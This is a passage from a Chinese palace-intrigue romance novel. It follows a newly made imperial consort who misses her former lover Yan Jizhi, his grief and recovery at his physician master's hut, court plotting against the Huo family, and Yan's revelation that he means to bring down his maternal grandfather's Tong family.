“贵妃?”嬴忱璧苦涩规劝:“倘若朕稍坐坐就走,宫里没得以为是贵妃惹朕不满了;今夜就让朕留宿吧,明早走后朕尽量多隔几日等到贵妃心情好些再回来。” “真心?陛下对令愔夫人呢,我听说自潜邸起,陛下最宠爱的就是令愔夫人,她给你生有两位皇子。”霍灵渠抬眸,转向皇帝请教:“初三那天,纤若进宫看她母妃还来瞧过我,和我说起宫里的现状还曾劝我,哪怕将来能登凤座都别得罪令愔夫人。 皇宫里私下在传霍家死期不远矣,不知道多少内监宫娥耳闻过这个说法,他们看来贵妃能晋位也是条死路,陛下的第三位皇后当属令愔夫人,陛下难道没想过吗?” “没有!”嬴忱璧答得利落,恢复平静说:“令愔夫人清高有才情更心高,朕常常和她话不投机,她多半都察觉不出,朕想将她视作解语花都实在不行,但她心思不深品性也还行,所以到目前为止,令愔夫人最得宠。” 常常话不投机真的没有逗她吗?霍灵渠忍住哑然的冲动说:“臣妾想独自待会儿。” “好,朕去处置宫人,绝不会再让他们怠慢贵妃。”嬴忱璧转身欲走,贵妃喊住他提:“只不过上行下效,陛下真没必要刻意处置谁。”令他身体微微僵下再举步往寝殿外走。 霍灵渠低头,轻抚怀里的包裹,包裹里多了件晏霁之的衣袍,前天她爹爹给她送来的;让她若能睹物思人解解相思苦就尽快好起来,心思疏朗些就通知家中把衣裳带出宫。 她记得最近次照顾晏霁之穿这件镶银丝边的墨菊华袍是即将离别前,晏霁之那天出门前还哄她等她睡醒他就回来了,回来给她带烤肉脯。他对她好,她当时都没放心上。 霍灵渠抬手擦擦眼,不敢深想不能深想,多想想,眼泪就啪嗒啪嗒掉连自己都控制不住。她也怨过晏霁之害得她这般不适应突然没有他,但想想那男人可能比她更不适应,没她哄着,没准他连在自家住着都难高兴,只能祝福他早日找到可心的妾室吧。 缠在窗台花觚里的夕阳余晖踏着温暖的曲调转进寝殿,将孤寂的身影拉得那样萧索。 形单影只,或许是有情人间最煎熬的事吧。 霍灵渠怀抱男人的衣袍在斜影里苦涩,晏霁之踩过同片夕阳红走进京城城郊的草庐,与往日衣冠楚楚光鲜亮丽相距甚远的‘邋遢’模样可真把张神医吓了跳。 论邋遢也算不得,晏霁之面容洁净衣裳也没脏,可他眼底青黑眼中血丝密布,下巴密密麻麻的胡渣乱冒,整个人肉眼可见的消瘦萎靡,哪儿还有以前意气风发神采飞扬的臭德行,猜都不必猜就能想象出他这些天有多颓废;相比往日里,自是‘邋遢’。 “真害相思病了?”京畿传得沸沸扬扬,张神医哪能不晓得徒弟的小妾竟然做贵妃了。 “整宿整宿失眠,就没睡过个囫囵觉。”晏霁之慢步走进堂屋,双腿重得像灌铅偏又有种头重脚轻的浑噩感好像来阵风就能把他吹到,他得慢慢走才能让自己看起来还算正常。 “徒儿来请师傅给我配安神香让我好好睡两天,再失眠,我真怕身体吃不消了。” 当年被庶兄算计场害他身体有恙,晏霁之在祖父过世之后离家找大夫给他医治,找到合心意的医者,他就拜师学医。而今他医术精湛,进太医署做太医都早够的。 故此张神医心疼徒儿都要嫌他故意呢:“自己不会啊,一点安神香都要使唤师傅?” “没心思,什么事都做不了。”晏霁之苦涩想他真高估自己:“我想找点事做分分神或许能好受些,可我没想到我什么都做不了,跑马摔下来、射箭抬不起胳膊、看书一个字都看不进连数金叶子都提不起劲儿,我想睡觉都睡不着,只能来找师傅,请您帮帮我。” 张神医听得真要骂造孽啊:“你说你…你真是…三年前你让师傅帮你配避子药丸,我就说你喜欢人家,你还不承认;现在好了吧,你要是肯早早要娃还能有现在这档事吗?” 晏霁之苦笑:“我没有装作不承认,我是真不觉得,三年前您怎么看出来的?” “啊呦!你不想想你被你那庶兄算计后犯的啥病?你犯心病啊,你身体没病,你心里对床笫间的事犯恶心,可你身体没病还非得叫老头给你治病,这让师傅咋整? 跟你说多少遍你身体好得很,是你心里的毛病,心病只能靠你自己。结果咧,你还没迈过这道坎却能愿意跟她好,可你除她之外还碰过别人吗?你不喜欢人家可能吗?” 晏霁之痛苦闭眼,今生的三年前叫他如何能察觉,前世他们早就做真夫妻了呀;若非怕魏王起疑得等到魏王把暗钉陆续撤掉,他都不见得愿意忍到正徽二年。 “到南海边养养吧,养好再回京里。”徒弟满脸悲痛晦涩叫张神医怪不忍的:“你师兄个榆木疙瘩只懂医理,你使坏得非逼着他帮你管生意愁得他天天掉头发,你到南海那边养养,跟你师兄做个伴儿好歹有他看着你,师傅也能放心些。” “还有很多事要做,走不了,您给我点安神香,我在您这里睡两天养养就好。”晏霁之不自觉就心酸得眼眶湿润,手撑着桌面想站起来偏偏浑身像成软骨似的怎么都使不出劲儿,还得张神医搭把手才能把疲弱得几近要瘫倒的徒弟扶进屋休息。 草庐外夕阳将沉,黯淡侵袭,一室昏暗几乎要将没有人影的堂屋吞没。 73. 第73章 是夜,夜雨瓢泼浑似在重重落拳,柴门前悬挂的两盏照明灯笼被雨水拍击得幽暗难辨。 晏霁之在师傅的草庐里调养四日总算将自己逼出点精神,能听取汇报;他靠在竹椅里,耳畔还有屋外暴雨如注锤炼花草的拍打声做伴奏,形容消瘦的眉眼间一派幽深。 “佟家和英王妃议定拿您的婚事做威胁逼迫世子助佟妙兮做淑妃,设想佟妙兮做淑妃后哄君王将她父亲复起、给祖母和大姨恢复诰命、帮霍振羽拿爵位、帮霍蓁蓁争凤位。 您同意则罢,您若不肯就范,英王妃便要给您定亲迫您娶钟氏女,佟梦奭和佟老太太背起人私底下商量的则是无论世子是否同意帮佟妙兮做淑妃都要逼迫您娶钟氏女。 三日前,吏部派下调令将佟梦佶贬谪出京派往茂县做县令,责令十日内启程,是霍家的手笔;佟尚书不能扭转想借晏家回旋,英王妃已经派人找寻世子回京企图迫您相帮。 霍二爷找煦之少爷拿走件您的外袍,说是贵妃相思煎熬想拿您的旧衣解解相思的苦楚,贵妃心情疏朗些就还回来。霍桑柔已被接回霍家,假霍桑柔留在武襄侯府的心腹奴婢已在日前暴毙,没留下任何能追查的线索,应当有侯四爷在暗中相助。 晏明潜和晏明妧找过王爷两回想重新回王府,二姑奶奶则已随夫家离京。陛下允准贵妃清晨不必给皇后请安,有御史谏言抨击,城里对贵妃的议论仍未消退;霍家一直没理会,当前在筹备周岁宴,霍振羽心情尚可还能管管儿子周岁礼的琐事。” 几缕烛光给竹屋里蒙染片安详,香炉里宁神的檀香和助安眠的安神香气袅袅相依相绕,掠过染黄晕的青衫在屋外大雨滂沱的雨夜里平添种岁月静好的温馨。 两道站立的身形被烛辉映得格外高瘦,是晏诺和晏七;晏诺随侍伴在主人左右,晏七戴斗笠蓑衣冒雨而来,沾满泥泞的长靴都没换过就被叫进屋里汇报,踩得竹屋里一串泥脚印。世子爱干净,换在以前他们想都不想,流光姨娘的离开对少主伤得太深了。 “让笛生再给我向衙门告病假,告假到月底;告诉王爷,我还好,晏家多年来白白便宜给玉家和冯家的好处今后就全部掐断吧;让煦之找霍海啸问清楚霍家拿我衣袍的用意,两月内把埋在佟家的暗钉尽数撤掉,四日后巳时把佟梦佶约到大相国寺。” 晏霁之思量还有没有要即刻交代的事情,确定没有再道:“夜深了,你们去休息吧。” 屋里的泥印,他当然注意到了,只是再不复以往令他挑刺的碍眼。晏诺和晏七离开,他独自靠在竹椅里终于遏制不住地流露苦涩,真的是霍灵渠想要拿他的旧衣解相思吗? 痛到深处麻木到深处,他甚至都恶狠狠想过那没良心的女人是不是都已扑到皇帝怀里? 可再痛再恨再怨,他都控制不住自己不想她不难受,在通县那几天,他都不敢相信霍灵渠离开能把他痛击撕裂得那样糟糕,他没有失魂落魄他很清醒,可他却清醒得看着自己沉沦,清醒得对自己无能为力仿佛所有心神都被吸走,只能任由悲伤煎熬将自己撕扯。 万念俱灰?!哈哈哈……晏霁之自嘲起来笑得眼眶都猩红湿润了,情到深处,真狠啊,狠得能把人的脑袋抽空把生命里的生趣都抽得干干净净只留片堪比行尸走肉的痛楚和荒芜,叫人清清楚楚明白你的欢喜痛苦竟然由不得你自己做主啊。 红尘多少繁华,她竟然能同红尘争:有她在,繁华才是繁华;她不在,眼前尽成灰。 晏霁之想自己真的活该,前世今生整整十二年多,竟然在离别前几月才醒悟自己喜欢她更是等到人离开了才彻底懂得那是他的挚爱,没有那个女人,他的生命一片晦涩。 泛黄的烛光将孤独的身影照满寂寥,屋外暴雨滂沱,猛烈之势将柔软的水变那样刚硬。 夜雨肆虐至黎明前堪堪收起,清晨的阳光里沾染着夜间残留的水珠都仿佛格外清新了,霍舒窈就在这样心旷神怡的早晨走进关雎宫探探她妹妹的心情好些没? “原本呢祖母和我娘都想来看你,霍振羽和他娘也想抱孩子进宫,要给你看亲侄儿再邀你参加灿哥儿的周岁礼;你害相思病难受嘛,祖母要是来,他们铁定跟,还不如我来呢。”当然就是故意拦,霍舒窈冷嘲:“霍振羽现在可坦然了,知道为什么吗?” 比起殿外阳光熠熠的舒适,殿内显沉闷,贵妃让宫婢们搬来靠椅放在月季花架旁,她们在湛蓝澄澈的天空下说话。霍灵渠望水珠凝在月季花蕊尖,轻柔抿笑:“为什么?” “佟家帮他想到拿爵位的对策了呀。”霍舒窈翻眼鄙夷:“由英王妃拿婚姻来逼晏霁之,除非晏霁之肯把佟妙兮推上淑妃位,否则英王妃就要给亲儿定亲逼他不得不娶钟家女。我对这种亲娘和佟家是没话可说了,但霍振羽兄妹和他们娘还真能心安理得享受。 二哥对他们多容忍啊,拿到这消息跟我说时都寒心,霍振羽和这表哥关系还算好的呢,他竟然也能做得出来不吭声不反对就默认放纵佟家琢磨挖晏霁之的心血来供他们。” 霍灵渠心像被蜜蜂蜇下,垂眸只问记挂的人:“霁之还在通县吗?” “他失踪了。”霍舒窈从果盘里拿蜜桃啃,咬口差点把桃肉吐出来:“桃子怎么这么涩?温汤监培育的蜜桃现在应该挺好吃啦,姑母前日有给我送篮,都挺好吃的呀。” “小太监没领到吧,陛下简朴,温汤监培育得不多,自然要先紧着皇帝、太后、皇后和皇子公主们连带着生养过的两位嫔妃令愔夫人和杭婕妤先挑,到我这儿没有了也正常。” “什么话!你是贵妃!”霍舒窈扶腰站起来要叫掌事姑姑过来训话被妹妹拦住,妹子刚阻拦时她没意识到等妹妹再拦阻才反应过来不对劲:“这群宫人在故意欺负你?” 霍灵渠牵牵唇笑:“前些天我向皇帝告状,花瓶里的花枯掉了都没宫娥记得要换,皇帝把那两天进殿伺候的宫婢全部杖十,责令不得怠慢贵妃,他们在心里记恨吧。” “记恨?宫人照顾贵妃不周受罚也轮得到他们来记恨?!”霍舒窈真觉得好笑,慢半拍恍然意识到症结,她简直不可思议:“你进宫十多天,关雎宫这群宫人都在故意欺负你?”她瞬间怒起,拉起妹妹就要走:“反了他们了!走!跟大姐去找姑母!” “我向皇帝提过两回,皇帝训诫过杖责过仍然无用,何必再折腾?宫人敢懈怠的根源若不除,再怎么处置都没用的,算了吧,我也懒得费心和他们较劲。”霍灵渠扶姐姐重新坐,温婉的笑意却莫名令人觉得悲伤:“晏霁之到底哪儿去了?” “你?!”霍舒窈真恼她好脾气又替她心酸,不答反问:“陛下留宿过几宿?” “三宿,是我没心思伴驾主动请皇帝少过来。”霍灵渠再提:“姐姐该回答我了。” 霍舒窈恼得真想戳她脑门:“你进宫做贵妃是享福来的不是要让你受罪,霍家没垮呢,还有太后是姓霍的,霍贵妃在皇宫里不欺负人就不错了能轮到被别人欺负吗?何况竟然被群宫婢欺负?!家里和姑母还都以为你好好的,若非今日被我发现,你想瞒多久?” “我没瞒,就是懒得再理。”霍灵渠撒娇:“我心情好些就和姑母提,大姐不生气了。” “晏霁之个大男人还能丢吗?谁知道他跑哪去躲起来。”霍舒窈没好气瞪她,缓和下说:“是英王妃派去叫他回京的奴婢扑个空,这两天派人到处在找,大家才晓得他不在通县了,也亏得他没在通县,你当英王妃急吼吼得是为什么事?” 霍舒窈真嫌无语透了:“只是她庶弟佟梦佶被派做地方官,佟家不想认又没本事拦住这道调令所以要叫晏霁之回京来帮他们。我猜晏霁之可能在处隐秘安静的宅邸疗养吧,留在通县的护卫叫晏一还是晏几来着,肯定知道世子在哪儿就是不肯告诉英王妃。” “二十年,是该想。”霍灵渠笑,霍舒窈还没搞明白妹子在说啥就被问起假霍桑柔的心腹奴婢暴毙之事:“纤若昨日进宫来看她母妃,又来看过我,特意告诉我的。” “乐邑最近跑宫里那么勤?”霍舒窈歪个话题:“她母妃最近手头很紧吗?” 霍灵渠没听懂,霍舒窈解释道:“她母妃做嫔妃时从二品,做太妃比照正五品的用度,陛下又大肆削减过宫份,她母妃哪过得惯?叫乐邑进宫十回有八回都是要银两。” “我是意外她会愿意嫁给薛述聪,童年她喜欢晏霁之。”霍灵渠随之跑偏,霍舒窈对此也很清楚,童年时大家那点小心思谁不知道谁呀:“可她又还能再挑谁? 晏霁之对她没意思啊,乐邑她能嫁到显国公府都还是因为圣人的公主活下来的少,她没有年纪相仿的姐妹,薛家才选她,嫁给薛述聪都已经是她最好的选择了。” “太上皇的公主们?”霍灵渠讶然:“纤若往下,就只有个最小的妹妹?” “对啊,她们姐妹掐头去尾中间这段就属乐邑她一枝独秀。”霍舒窈觉得这形容忒合适:“你想想九个姐妹啊就只剩她和大姐小妹,姐妹中间这段可不就是她一枝独秀么。” 霍灵渠忽然就想到个很哀伤的规矩:“皇嗣还得满月后齿序,当年姑母头胎生的女儿和温献皇后第三胎生的儿子就因此连个排名都没有,好像根本没存在过似的。” “唉,谁说不是呢。”霍舒窈叹息声把话题拉回去:“不说这事了,假冒货的心腹暴毙,没错,就前两天,被喂砒~霜死的,连点能追查的线索都没留;若说没有侯瞻渥在暗中相助,我信他个邪?!三叔和二哥拉嫁妆时武襄侯还答应愿意帮忙盯着,跟说着玩似的。 还好没把那群奴婢带回霍家审查,不然都能把脏水泼到咱们头上,被传成是霍家处置的想要让咱们平白惹身臊。我说就是庄太妃没跑了,但爹说现在就算把那俩假冒货拎到人前指证都能被传成是霍家屈打成招,若是假冒货当场反供更糟,气死我了。” 霍灵渠微愣:“这就是幕后黑手敢对那群奴婢下杀手的原因吗?” “对呀!”霍舒窈磨牙恨恨:“两个假货被咱们捏着,当证据等于废的,又隔十多年早把当年阴谋的痕迹抹掉了,只要把清楚这场阴谋的奴婢全部杀害,庄太妃就能把自己摘干净,不然她敢那么嚣张在她都已经暴露、在霍家眼皮底下再动杀手吗?” “倘若就是庄太妃、霍家没有能钉死她的证据?”霍灵渠皱眉:“圣人会维护她吗?” 霍舒窈冷笑:“我就不信她个五十多岁老太妃还能和太上皇有那么厚的情份?!” 早晨清新的阳光追逐时间的步调温暖洋溢起来,一眨眼,凝在花蕊尖的水珠就消散了,渗进花瓣润泽着饱满鲜红的月季美艳夺目,满架的爬藤月季在阳光下光彩生辉。 阳春三月间,繁花盛景最当浓,皇宫的金碧辉煌藏不住这片深红浅绿粉白反像陪衬了。 佟尚书在隅中出宫,毫无赏景兴致;霍舒窈和他就差半刻钟,边赏景边出宫还蛮闲适。 收到这两位出宫的线报时庄太妃正在殿阁前修剪盆栽,寂寂聊赖的深宫太妃,几位不是闲得每日只能数花瓣修剪花枝,又有几位不是闲得连在殿阁伺候的宫婢都不屑巴结。 她不意外霍舒窈没在宫里用午膳,贵妃相思病甚重连姑母都懒得搭理,没心情留堂姐用午膳也没什么奇怪的;她们堂姐妹在晨间聊些什么,庄太妃没收到线报也不是真感兴趣,她就是反感这种被束手束脚的禁锢,曾经让她如鱼得水的皇宫而今对她浑似囚笼。 皇帝放出八千名宫人,将她哪怕是太上皇留在皇宫里的势力都几乎拔除殆尽,削减用度后又连连立威把这座皇城锻造成由皇帝掌控,压得太妃们只有缩在养老殿阁里的份儿。 压退烦闷,庄太妃修剪下最后片枝叶,小宫女捧着水盆上前,她净过手,拿手绢擦干再接过手串缓缓拨动佛珠,候在侧那面相持重的老嬷嬷将多余宫婢遣退,踌躇再劝:“王爷他对武襄侯府那群奴婢暴毙很有疑虑,娘娘何苦因群奴婢就让王爷心里有疙瘩?” “皇儿不舒服的是怀疑本宫在骗他和本宫手中还有隐瞒他的势力,本宫如何跟他说?”庄太妃示意阚嬷嬷不必再劝,又拨动两颗佛珠敏锐质疑:“十多天了,霍家都还风平浪静,本宫总觉得不对劲;还有贵妃新封,皇帝竟然像眼里没有贵妃,不该呀。” “毕竟贵妃不肯侍寝,陛下又还不好女色,十多天能留宿三宿不错了。”阚嬷嬷比主子还小六七岁,谨慎稳重妥帖周到更忠诚,近十六七年来都是庄太妃的得用心腹,她是古怪:“奴婢反而觉得贵妃平静得不寻常,除了前两天闹过,这些天也太安静了。” “才十多天,急什么?本宫很愿意相信霍灵渠是聪明人,至少该比霍宝鸾聪明,否则她怎能配在重重磨难之后非但没被击溃还能有本事让皇帝愿意给她贵妃位?”庄太妃眉梢微扬,顾盼间竟让她衰老的脸庞闪现种奇异的光彩:“杭婕妤在劝郭皇后整垮霍家?” 是前日收到的线报,椒房殿八面透风根本没秘密,阚嬷嬷笑道:“是啊,冷不丁的,奴婢都有些想不通,您说奇怪不?杭婕妤既没皇子又和霍家没怨没仇作甚招惹这种事端?” 庄太妃拨动佛珠走过两盆盆栽,轻嗅兰花香,唇畔笑意浸着三十多载深宫沉淀下的淡:“她倒是让本宫想起本宫当年,她和本宫还确实有那么几丝相似。” 阚嬷嬷失笑:“娘娘也太抬举杭婕妤了,就杭婕妤那点小聪明哪配能和您做比?” “都是从小聪明一步步走过来的,本宫比她好运,有的是对手能磨,直到任皇后薨逝,本宫才拿自己当回事儿,她是还没遇到对手就敢把自己当回事儿了。”庄太妃笑意悠扬,气定神闲的雅意将上位者睥睨宫闱那股俯瞰众生相的高高在上淡化得近乎于无。 “娘娘莫非指杭婕妤在肖想凤位,妄想渔翁得利?”阚嬷嬷还真有点吃惊:“可她既没生出皇子又有令愔夫人在前,就算她真想攀皇后的宝座也没得什么都没沾到就想吧?” 庄太妃敛起笑意,没应答而是捏佛珠吩咐:“显国公嫌本宫不懂朝堂胡乱指挥,他懂?!那就让他好好试霍家葫芦里在卖什么药,不忙清算当年的阴谋反而针对佟家挠痒痒。” 何谓针对佟家挠痒痒? 就是霍家出手把佟梦佶调任茂县县令,在庄太妃还有和她同段位的人物眼中,霍家搞这种不痛不痒的花样可不就是挠痒,他们能关注都是因为没看懂霍家这没头没脑的调令。 佟尚书今早进宫求见皇帝就是为此调令,他也已经跑过太微宫求见太上皇,更早前还走过班丞相和吏部薄尚书的门路而非只是叫英王妃派奴婢去把晏霁之叫回京。 准确说就是自霍家搞出这张调令来,佟尚书特别上心,上心得让他老妻都看不下去了。佟老太太不在意庶子被派到多么多么偏远贫瘠的地方,她是恨霍家根本没把佟家放在眼里是在羞辱她打她脸,因而丈夫要让梦娴派人去通县把那小孽畜叫回来,她就没反对。 可没想到丈夫操心得好像这庶子是他的命根子,佟老太太就很有意见了,她劝两回,连带她的梦奭和孙儿孙女都劝过,佟图匡都当做耳旁风还让她怎么忍?干脆就通知梦娴不必再费心找那小孽畜回京,佟梦佶被派出京做地方县令又算不得什么事。 英王妃佟梦娴没所谓,她又不急,吏部突然派调令要把她庶弟贬谪出京派到个狗不拉屎鸟不生蛋的犄角旮旯地方做县令,她也没想管庶弟;是这调令明显有问题,一查查出来竟然是霍家在搞鬼,她爹愤怒她娘也不想忍,这不摆明故意欺负到佟家头上嘛! 晏副相和英王不肯帮,爹娘让她把儿子叫回来,英王妃合计下就叫那孽障儿子回来吧,不就是没个小妾,用得着要死要活得吗?还有那么多大事都等着要忙呢。 谁想管事回来禀告说世子已经离开通县了,不知所踪。作孽的,这孽障又跑哪儿去了?英王妃只得派人去找再让丈夫也派护卫去找尽快把世子找回来。这会儿她娘让她不用再找,丈夫派护卫找两日也就作罢说儿子在散心不想被打扰,她也懒得再派人找了。 顺郡王妃佟梦如大约是同母的三姐妹中最有心思计较的,大姐懒得再管,二姐带儿女在霍家闹闹要撤掉这张调令,她反找庶弟佟梦佶相劝弟弟懂事些,茂县很偏远很贫瘠又如何?来日方长呀,过几年佟家就能把他调回京来,何必非得为这点事闹得爹娘失和。 他们爹佟尚书现在都有些魔怔了,非但不听妻儿的劝,苦求圣人和陛下无果后,竟然都想去走班太妃和蒙太妃、皇后和令愔夫人甚至是翁美人的门路想让后宫吹枕头风。 实则哪需嫡姐和他讲道理,佟梦佶自己就很明白也没排斥过远赴茂县做县令,他更是劝老父最多的;可他也想不通他爹这是怎么了,何苦非得与霍家争这一时长短? 然而佟梦佶和佟老太太他们又哪里知道佟尚书是在和心魔争,佟家近年来走得很顺,顺得已经让佟尚书佟图匡他几乎忘掉了那令他厌恶得永远都不想想起的无力感,可这张调令却仿佛桶冷水泼向他令他猛然个冷颤竟又忆起那久违的、他许多年再没感受过的无力感。 更恐怖的是,多番碰壁后他的脑海中竟然不由自主得回荡起上个月那大外孙留给他更刺痛他的轻蔑:即使现在,要踩死佟家也就像踩死一只蝼蚁那么简单。 就像是梦靥,那就像个梦靥般缠着他,缠得他心里像油煎般整个人敏感脆弱,他不信!他不信他呕心沥血四十年撑起来的佟家还能被轻易撂倒;他不信,不信辉煌已经指日可待的佟家还能如砧板上的鱼肉般任人宰割;他不信,不信佟家还软弱可欺。 能否驳掉这道调令就是博弈,见证他成功的博弈,他必须踢回去霍家搞出来的调令。 对于因多年太顺而失掉对自身现状应该保持的清醒认知、一味沉溺在自以为当中的人,打碎他的自信、迫使他认清现实没有他的自以为或许比任何折磨都令他难受吧。 譬如佟尚书佟图匡,也譬如娉姨娘,虽然佟尚书和娉姨娘方方面面都存着天渊之别,但就遭遇冲击将有可能击垮他们的自信后两人所展现的深恶痛绝的抗拒,确实是相同的。 娉姨娘带着她生的霍六爷住到懋郡公府已经十余天,穆国公霍秦川还没有来接!霍鸳娇都觉得她爹扛不住三四天就得来向她姨娘赔罪,哪想她爹竟然扛十多天都没动静。 闹得她都有点担忧她爹真能来接吗?她琢磨着和姨娘商量,一提起来就被生母严厉否定还被训骂顿,她也没恼仍然劝姨娘真该考虑了:“万一爹真的没想来接怎么办?霍家现在忙着筹备霍振羽儿子的周岁酒,我派管事传话说我和超群不会去,爹都没反应。” “霍秦川,霍秦川这天杀的!”娉姨娘恼在心头恨恨骂两声出气,转念想干脆出杀手锏:“再过十天你爹若还没来,你就通知你爹,我有身孕了,我看霍秦川还敢不敢不来?!” 霍鸳娇咬唇瞟瞟她姨娘的小腹,想说她爹能信吗?但她也清楚姨娘的脾气就没多提,她不怕她爹反而有点怕她姨娘,打小她就很清楚她能活得张扬能叫嚣嫡姐和霍雄鹰乃至是嫡母全靠她姨娘得宠,她不能顶撞姨娘不能惹怒姨娘,不然她的好日子就没了。 至于娉姨娘会失宠?在霍鸳娇根深蒂固的观念里从来没存在过,那就是不可能的事。 有趣的是,皇宫里被禁足在芷筠斋的霍秀仪即娉姨娘生的霍鹣娇近日也欲使假孕的招。 前两回能在闭门思过期间偷偷溜出去自然是宫人们放水,可在霍秀仪大闹关雎宫、太后怒得真不像肯再给侄女留情面,芷筠斋的宫人们哪敢再放霍秀仪偷溜出去。霍鹣娇发泄多日可怎么闹腾都没用,被点拨后灵光念起,她就想买通太医报有身孕。 哪想连找三位太医都拒绝她,霍鹣娇简直怒火中烧,直接对传来的第四位太医说:“如果吕太医不愿意帮忙,本宫就派人向陛下通报,我已有身孕,是吕太医你诊脉发现的。” 霍鹣娇当然有准备金银珠宝贿赂,关键在于此事操作起来困难,皆因霍秀仪上回侍寝是在年前腊月上旬,距离现在都有三个多月了。她若报有孕就必须是已有三个月的身孕, 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嬴忱璧端起茶盅喝掉半杯香茗,让贴身太监也退下,传禁军统领来。蒋厚运利索告退,快步退到御殿外叫禁军统领步昂进殿伺候;不需他提点什么,步昂也清楚陛下心情差。 禁军统领步昂和霍海啸同岁,黝黑的脸矫健的体魄,杵到御前,没被问话就当木桩。 “宫中近期盛传的流言:霍家死期不远矣,源头出自何处查出来了吗?”嬴忱璧问,步统领禀道:“禀陛下,是上个月贵妃册封典礼的宫宴过后,庄太妃派眼线四下散播。” “杭婕妤在劝皇后联合跟霍家有仇的人家整垮霍家?”嬴忱璧再问,步统领低头应是,之前禀告时陛下没表态,这会儿又突然问起,他不算敏感都能察觉出皇帝的怒意。 正徽帝嬴忱璧站起来走到窗前,负手而立遥望天际,音调空缈:“太后日前派人来知会朕说温汤监培育出来的鲜果,关雎宫竟然领不到;说是得紧着朕和太后、皇后、皇子、公主以及两个生养过的嫔妃令愔夫人和杭婕妤先挑,所以轮到贵妃就没了。 贵妃不想惹是非就没追究,太后不好让贵妃难做只能当做不知,太后请朕别也只当做不知尽委屈贵妃。昨日,贵妃有件宫装竟然被洗破了,你说怎会闹出这些事?” 步统领硬头皮禀告:“卑职猜应与‘霍家死期不远矣’的流言有关;二则,贵妃肯忍,看在宫人们眼里,好脾性就成好欺负了;三来可能是有人在暗中故意煽动。” 皇帝就问:“谁在暗中煽动?” 步统领声音又低沉些:“禀陛下,有鞠太妃、阮太妃、田太妃、朱太妃,至于庄太妃?卑职没有把握不敢揣测,太妃们派人向皇后娘娘和令愔夫人、杭婕妤、翁美人都提议过,唯有杭婕妤复又向皇后娘娘建议,皇后有顾虑只传令宫人们小心翼翼试探。” “试探?试探谁?试探贵妃还是试探朕,想欺压贵妃还是蓄意想挑起朕与太后的冲突?”皇帝眼中隐隐有疾风骤雨袭来:“是太妃们太闲还是杭婕妤日子过得太舒服啊?” 禁军统领当即单膝跪下,心底不由心惊,陛下此言可像是有厌弃杭婕妤的意味。 御殿窗外绿意葱茏,嫩得像水掐出的青翠拢来暖阳的光线散射着能比碎宝石的耀辉,再往上瞧,蓝白相间的天空偶有几朵棉絮般的浮云飘过,晴空万里多舒朗灿烂的天呀。 此时的皇城外京城外,坐落在半山腰的大相国寺人影相错,钟鼓声声浑厚传响山路。 掩映在山花烂漫里的山腰溪涧流水潺潺,溪面水波粼粼泛金芒,清澈溪底有比拇指小的小鱼群摇头摆尾四处钻石头缝,几片花瓣飘来落在溪涧,叫人意识到原来有微风呢。 晏霁之一袭青衫坐在溪涧石畔看小鱼瞎撞,看得有些专注,护卫禀告方才抬起头,还憔悴消瘦甚至还有些惨淡的容颜叫佟梦佶不免有点心惊:“霁之你…你没事吧?” 通县的护卫奴婢禀告不知世子踪迹,一猜就知道是在糊弄英王妃,没见英王和晏煦之都是副没在意的模样,他们定然清楚状况只是瞒着他嫡姐。佟梦佶对大外甥突然约见不奇怪,晏七请他保密,他也答应了,可他真想不到竟会见到这样憔悴的晏霁之。 “小舅坐吧。”晏霁之指指对面的大石,将随行护卫都退远,下句话就让佟梦佶刚坐下又蹦立起来:“是我要调你做茂县县令,借霍家出面而已。” “为何?”佟梦佶左思右想都想不通最终还是只应对为何二字,晏霁之作答:“茂县是个独善其身的好地方,倘若佟尚书能扛住佟家垮掉的重创,你可带你老父远离纷扰。” “你说什么?”佟梦佶骤然间犹如置身数九寒冬,在这样明媚暖和的春光里冒出寒气,他整颗心扑通扑通直跳而眼睛直勾勾像被勾魂似的盯着眼前的外甥:“你要做什么?” 晏霁之神情淡淡的,却好像能叫人读出似有深秋清晨凝结成的白霜遗落在他的眉眼间:“我有时候觉得外祖父真傻呀,世间聪明人比比皆是,他何以自认能把大家族姻亲都玩弄在鼓掌间?既然是比佟家昌盛数十倍的大族,倘若手腕都不如他又凭什么能立足?” 佟梦佶浑身冰凉、呼吸急促,顾不得别的就要赶回家告知父亲,未料身后响起魔鬼般的叫唤:“不是不报、时候未到;时候到了,小舅就不想为自己打算吗?我愿意给小舅出路,小舅不想要,想通知你父亲、想在我挥刀时与家族同进退自然悉听尊便。” 他急急刹住脚步,转身一步两步三步重新走向晏霁之,步伐踏得前所未有的沉重,举步间眼眶泛起湿润,既藏惊恐而又难以置信:“你真的要毁掉自己的外祖家?” “一窝千方百计要把你敲骨吸髓的血蛭,你愿意养?你愿意,你又能养多久?” “呵,哈哈哈……”佟梦佶真没想到还能被人活生生逼出眼泪来,他擦把眼,苦涩极了:“这是佟家只能保住我这脉的意思吗?是我和父亲太天真竟没想过你会忍无可忍吗?” 一种病容下的倦懒萦绕着晏霁之,叫他竟似有种饱经风霜后的慢怠:“外祖父是天真,在他想把姻亲当做踏脚石的时候竟然都没想过要遭反噬;或许晏家和霍家脾气太好了,你看赵郡李家就没有这样的好脾性,佟婃兮嫁进李家两年多都还没怀胎呢。” 佟婃兮,他二哥佟梦骜的嫡长女、佟家的嫡长孙女。佟梦佶哪还能听不懂他的影射:“你是说李家不让婃兮怀胎吗?可李家何苦这样狠,既要如此又何苦与佟家结亲?” “前年年初,朝廷选新任吏部尚书,山西巡抚志得意满要拿下这位置,最终功败垂成有没有被佟梦骜的连累在?那时佟梦骜强借李家之势升任淄州府尹,对,佟家做惯了,顺手,可李家凭什么要忍?儿媳妇姓佟就能配让山西巡抚咽下这憋屈吗?” 晏霁之没有嘲讽,他现在惨淡得哪有闲情嘲讽谁,只是听起来真的像嘲讽:“何谓狠?佟家可是想把姻亲都当做踏脚石,反击不该吗?难道佟家没有因此被晏家和霍家报复过就能代表不会被李家记恨吗?你是觉得佟家想踩姻亲、姻亲就该乖乖被踩踏吗?” 佟梦佶苦涩闭眼捂脸,跌退坐到石头上,弯腰佝偻良久,他抬首,似是不懂又似已有答案只想求证猜想:“晏家和霍家又何以愿意忍让?是故意放纵想让佟家自取灭亡吗?” “不在意。”晏霁之神态不冷,话很冷:“霍家根本不在意佟梦姿及其儿女的死活,他们触及霍家底线的时候,霍漓江送他们上路都不会眨眼;晏家同理,佟梦娴能活到今天是我愿意给她保命,我若对生母彻底死心了,我爹眨眨眼就能给她办丧事。” “怎会不在意?”佟梦佶惊立而起更不敢信:“霍漓江怎会不在意唯一的嫡子?” 